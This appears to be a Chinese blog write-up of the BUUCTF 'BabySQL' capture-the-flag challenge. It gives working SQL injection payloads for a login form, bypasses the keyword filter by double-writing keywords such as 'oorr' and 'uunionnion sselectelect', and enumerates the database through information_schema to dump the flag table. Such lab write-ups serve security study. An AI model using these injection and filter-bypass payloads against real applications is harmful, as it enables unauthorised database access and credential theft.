[BUUCTF][WEB][极客大挑战 2019]BabySQL 1
靶机打开url
界面上显示,它做了更严格的过滤。看来后台是加了什么过滤逻辑
老规矩先尝试时候有sql注入的可能,密码框输入
123'
爆出sql错误信息,说明有注入点
构造万能密码注入
123' or 1=1 #
居然爆出sql错误,
...version for the right syntax to use near '1=1 #'' at line 1
仔细看报错信息,发现我们的 or 不见了,推测后端做了关键字检测,将关键字去掉了
这里尝试进行双写绕过,来证明我们的推测
123' oorr 1=1 #
返回
Hello admin!
Your password is 'eed87ca901c286579b6b4a0583bb6861'
那么证明双写可以完成注入,此题的考点也就是双写了
后面的内容就和 LoveSql一样了
1. 排查回显字段
1' oorrder bbyy x#,令x=1逐渐增加进行尝试,当x=4时出现报错, 说明注入点字段长度为3
2. 爆库名
1' uunionnion sselectelect database(),2,3#,依次变换函数database()的位置,确定哪个位置会回显出我们所查询的信息。经尝试,第三个注入点字段会回显查询信息
3. 爆表名
1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()#
4. 爆列名
1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='表名'#
表名处替换为b4bsql或geekuser 得到三个相同的字段 'id,username,password'
5. 爆数据
1' uunionnion sselectelect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#
boom 得到flag flag
本文作者:明月照江江
本文链接:https://www.cnblogs.com/gradyblog/p/16974573.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
分类:
标签:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步